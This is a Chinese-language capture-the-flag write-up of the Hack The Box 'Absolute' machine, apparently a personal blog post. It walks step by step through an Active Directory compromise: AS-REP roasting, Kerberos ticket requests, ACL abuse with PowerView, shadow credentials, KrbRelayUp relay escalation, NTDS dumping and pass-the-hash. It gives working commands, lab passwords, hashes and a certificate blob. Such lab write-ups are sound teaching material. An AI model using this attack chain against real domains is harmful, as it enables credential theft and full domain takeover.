Insane!
知识点
- Misc杂项
- TGT黄金票据伪造
- hash离线爆破
- 流量分析
- AD域渗透之Generic_write权限
- 无修复提权
- hash传递攻击
使用工具
- Kerbrute
- impacket/GetNPUsers.py
- impacket/GetTGT.py
- impacket/smbclient.py
- CrackMapExec
- BloodHound
- Powerviewer
- 一台win10的虚拟机
- Rubeus.exe
- KerdelayUp.exe
- RunasCS.exe
- Pywhisker.py
- PKINITtools/gettgtpkinit.py
信息搜集
老规矩,测测它
1 | └─# nmap -sS -sV -sC 10.10.11.181 |
看得到smb端口445和一些RDP远程服务,并且扫到了域名absolute.htb、dc.absolute.htb
,早早的先加入到hosts文件里echo 10.10.11.181 absolute.htb >>/etc/hosts
echo 10.10.11.181 dc.absolute.htb >> /etc/hosts
看得到web80端口是开了,直接浅浅的访问一波
可疑のPNG
可以看到有很多规律的hero_x图片,把他们下载下来送给exiftool
分析一下for i in {1..10};do wget "[http://10.10.11.181/images/hero_$i.jpg"](http://10.10.11.181/images/hero_$i.jpg") &>/dev/null;done
直接脱下来然后送给exiftool分析一波大的
得到了以下人名
1 | James.Roberts |
这些人名可能有用,我们就保存在这里先,根据这些人名,我们将上面的人名转换为一些潜在的可能用户名(这一步有点扯感觉)
1 | James.Roberts |
开放のKerberos端口
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-04-13 20:43:45Z)
namp扫描记录中有这么一条,这是一个kerberos服务,众所周知kerberos是域渗透的基础,这里介绍一款神兵利器Kerbrute,这个工具可以用来检测用户名是否有效
git clone [https://github.com/ropnop/kerbrute.git](https://github.com/ropnop/kerbrute.git)
[https://github.com/ropnop/kerbrute/releases/tag/v1.0.3](https://github.com/ropnop/kerbrute/releases/tag/v1.0.3)
果断的选择了下面的编译好了的工具^ ^
使用上面制造的字典进行爆破GetNPUsers.py absolute.htb/d.klay -dc-ip 10.10.11.181 -no-pass
,记得Forest那台靶机吗
在AS_REP阶段,会返回由我们请求的域账户hash加密某个值后返回。然后我们通过自身的ntlm hash去解密得到数据。在这里设置不要求预身份验证后,我们可以在AS_REQ阶段,填写想要伪造请求的用户名,随后会用伪造请求的用户名NTLM Hash加密返回给我们。随后我们就可以拿去爆破了,不过前提就是需要伪造请求的用户名设置了”不要求Kerberos预身份认证”
假如kerberos没有开启pre auth,我们就可以进行离线hash爆破,先用上面的指令给他的hash dump出来,之后用john狠狠爆破一下john passwd.txt --fork=4 -w=/usr/share/wordlists/rockyou.txt
获取一组用户密码d.klay/Darkmoonsky248girl
Darkmoonsky248girl ([email protected])
,这时候我想到的居然是ssh去登录
只能说是铸币了,anyway我们已经得到了一组用户和密码,接下来该思考的是怎么去利用了
SMB尝试
再来一款神兵利器,crackmapexec
,这东西集成了很多功能,包括smb、ldap的攻击,十分的方便
https://github.com/Porchetta-Industries/CrackMapExec/releases/tag/v5.4.0
集成多种攻击,其中包含smb,来用smb板块探测一下共享目录,用我们上面的用户
不过显然是以失败告终的QWQ,还缺点东西。结合给我们的一组用户,可能是提示我们需要伪造黄金票据(TGT)去获取进一步的信息
TGT黄金票据伪造(大坑)
使用impacket包下的impacket-getTGT
impacket-getTGT 'absolute.htb/d.klay:Darkmoonsky248girl' -dc-ip dc.absolute.htb
好耶,黄金票据GET,给他导进环境变量export KRB5CCNAME=/opt/d.klay.ccache
./cme ldap dc.absolute.htb -k --kdcHost dc.absolute.htb --users
假如不出意外你会得到上面的结果,但我就出意外了,我得到的结果如下,很抽象。。
我不知道这是为啥。。可能是,不知道为啥,反正就是巨他妈玄学
这样我们可以得到第二组用户名密码svc_smb/AbsoluteSMBService123!
,按照上述操作给他也伪造一个凭证
之后使用impacket-smbclient
模块访问他的目录impacket-smbclient -k -no-pass -dc-ip dc.absolute.htb 'dc.absolute.htb'
1 | # ls |
现在就能下载,说明我们的票据伪造的是成功了的,至于为什么列不出来ldap用户,我觉得原因就2点
- 工具问题
- 环境问题
- WSL有什么勾八问题(可能性很小)
这个工具我看别人都是用的5.30,在这里我用的是5.40,不知道为啥5.30的工具我使用不了,会报错
我也是用的python3.10版本,但是玄学的东西来了,我用windows的就可以运行
这我就不理解了。。我的kali也安装不了所谓的python3.10,只能是3.11,这就给我整哭了motherfucker
填坑填坑
上面不是说得不到结果吗,本质原因就是因为工具版本,使用crackmapexec5.3
版本及其一下的版本,5.4.0垃圾版本全是bug
然后怎么使用5.3版本最稳妥呢?答案是Pipenv
pipenv
pipenv是一款Python vm搭建工具,使用pipenv可以给你创造一个sandbox,在这个box中python环境是根据工具要求而定下来的
我是参考上述文章的,首先先把crackmapexec的源码下载下来git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
再安装一些需要的包apt-get install -y libssl-dev libffi-dev python-dev build-essential
然后开始安装pipenv pip install --user pipenv
安装好过后进入源码内,用pipenv解析搭建python的sandboxcd CrackMapExec && pipenv install
最后输入pipenv shell
就可以进入sandbox内进行一顿操作了
然后最重要的是你这时候再沙盒内,你需要用pip去安装crackmapexec
pip install crackmapexec
最后一把嗦!crackmapexec ldap dc.absolute.htb -k --kdcHost dc.absolute.htb --users
如图我们成功获取第二组的用户名和账号
可疑のexe文件
anyway总而言之,我们按照上述步骤成功是把smb目录内的东西下载下来了,接下来就分析一下那个test.exe,我们把他放到windows里抓包分析
捕获一下Openvpn的网卡,然后选择追踪流,就可以发现如下内容
又是一组用户名密码absolute.htb\m.lovegod:AbsoluteLDAP2022!
伪造TGT票据使用BloodHound信息搜集
这一波下来也有讲究,上面得到了一组用户名密码,也是一样的伪造TGTntpdate -s absolute.htb&&impacket-getTGT 'absolute.htb/m.lovegod:AbsoluteLDAP2022!'
这里划重点,时间同步非常重要,相当于时间戳,时间不同步票据就伪造不成功
随之使用bloodhound进行信息搜集
这里选择了[https://github.com/jazzpizazz/BloodHound.py-Kerberos](https://github.com/jazzpizazz/BloodHound.py-Kerberos)
这个分支的bloodhoundpython3 bloodhound.py -u m.lovegod -k -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 --dns-tcp --zip -no-pass -c All
使用MATCH(u:User) return u
查询所有的用户:
可以看到有一个WINRM用户,这可能就是我们的user,我们找一下有关路径
发现其实很简单,我们的m.lovegod用户对NETWORK有own权限,是网络审计组,而NETWORK组对WINRM有generic_write的权限,梳理一下思路
- Generic_write权限可以改写用户属性
- 我们对NETWORK组具有own权限,我们需要将自己m.lovegod添加进NETWORK组
- NETWORK组队winrm用户有write权限可以改写属性
- 将m.lovegod用户写入winrm用户的msDS-KeyCredentialLink属性,结合相关攻击工具获取
.pfx
私钥证书文件,之后使用证书文件申请用户TGT,进而获取NTLM Hash,直接进行hash传递攻击
AD域渗透
那么就开始实操了,对于第一步我们可以使用 Windows 或 Linux,我使用windows,那么我们就得导入一下之前打Forest用到的poverview模块了Import-Module .\PowerView.ps1
$pass=ConvertTo-SecureString 'AbsoluteLDAP2022!' -AsPlain -Force
$cred=new-object system.management.automation.pscredential('absolute.htb\m.lovegod',$pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "Network Audit" -Rights all -DomainController "dc.absolute.htb" -PrincipalIdentity "m.lovegod"
Add-ADPrincipalGroupMembership -Identity m.lovegod -MemberOf "Network Audit" -Credential $cred -Server dc.absolute.htb
Get-DomainGroupMember -Identity "Network Audit" -Domain "absolute.htb" -DomainController "dc.absolute.htb" -Credential $cred
一套流程下来把m.lovegod用户加入到了Network Audit用户组里,并且赋予了all权限
坑点
首先是时区你要和靶机同步,因为票据伪造需要时间,具体方法如下
输入靶机IP进行同步,其次是这一步AD渗透的话,最好是在windows 2019 server虚拟机里面完成。因为虚拟机可以配置AD环境,否则就失败了
进一步伪造TGT
我们现在已经把m.lovegod用户加入进去了。因此我们需要重新伪造一下票据更新一下ntpdate -s absolute.htb&&impacket-getTGT 'absolute.htb/m.lovegod:AbsoluteLDAP2022!'
export KRB5CCNAME=/opt/m.lovegod.ccache
然后使用工具pywhisker获取pfx认证文件 python pywhisker/pywhisker.py -d absolute.htb -u "m.lovegod" -k --no-pass -t "winrm_user" --action "add"
1 | └─# python pywhisker/pywhisker.py -d absolute.htb -u "m.lovegod" -k --no-pass -t "winrm_user" --action "add" |
随后使用PKINTtool获取NTLM hash,进行hash传递攻击 python PKINITtools/gettgtpkinit.py absolute.htb/winrm_user -cert-pfx fCvi61Aq.pfx -pfx-pass mrKuvg3I5GVdZ8J4Jinj winrmCcache
1 | python PKINITtools/gettgtpkinit.py absolute.htb/winrm_user -cert-pfx fCvi61Aq.pfx -pfx-pass mrKuvg3I5GVdZ8J4Jinj wi |
这样我们也同样获取了winrm的TGT票据,我们export一下 export KRB5CCNAME=/opt/winrmCcache
获取User.txt
最后使用evilrm进行远程shell连接evil-winrm -i dc.absolute.htb -r absolute.htb
坑
在这之前/etc/krb5.conf
文件需要配置!配置文件如下
1 | [libdefaults] |
这是因为你既然要用kerberos中的TGT票据进行winrm登录,那你首先就得配置一下kerberos客户机的配置
最后获取User.txt~
无修复提权(root.txt)
这里是使用到了No-Fix Local Privilege Escalation Using KrbRelay With Shadow Credentials
- 没有强制执行 LDAP 签名的域控制器(默认)
- 具有自己的服务器身份验证证书的域控制器(用于 PKINIT 身份验证)
- 能够写入目标计算机帐户的 msDs-KeyCredentialLink 属性(默认)
前两点域控dc是满足的,最后一点m.lovegod用户也是有的,目前我们只有一个域管理员,我们需要KrbRelayUp、Rubeus和RunasCS(让 m.lovegod 执行 KrbRelay)。
首先下载这三个工具。./RunasCs.exe m.lovegod 'AbsoluteLDAP2022!'-d absolute.htb -l 9 "C:\Users\winrm_user\Desktop\KK.exe relay -m shadowcred -cls {752073A1-23F2-4396-85F0-8FDB879ED0ED}"
可以看到得到如下结果
我们取其中的BASE字符运行如下指令./Rubeus.exe asktgt /user:DC$ /certificate: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 /password:"qC4@dT8=yC3#" /getcredentials /show /nowrap
结果如下:
1 | ServiceName : krbtgt/absolute.htb |
最后使用CME模块dump 管理员的hashcrackmapexec smb -dc-ip dc.absolute.htb -u 'DC$' -H A7864AB463177ACB9AEC553F18F42577 --ntds
1 | └─# crackmapexec smb -dc-ip dc.absolute.htb -u 'DC$' -H A7864AB463177ACB9AEC553F18F42577 --ntds |
evil-winrm -i absolute.htb -u "Administrator" -H 1f4a6093623653f6488d5aa24c75f2ea
结束了家人们
结尾(关于HacktheBox的小trick)
之前打Htb一直都是用kali去连接openvpn,本来是想过用windows连的,但因为第一次用的openvpn可能版本不对劲,所以当时认为不行,然后这一次我下载了最新版发现肯定是可以的啊,之前的自己铸币了
所以以后打hackthebox,只需要windows连接openvpn即可,由于是NAT桥接模式kali是可以直接访问靶机的,一举两得~
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.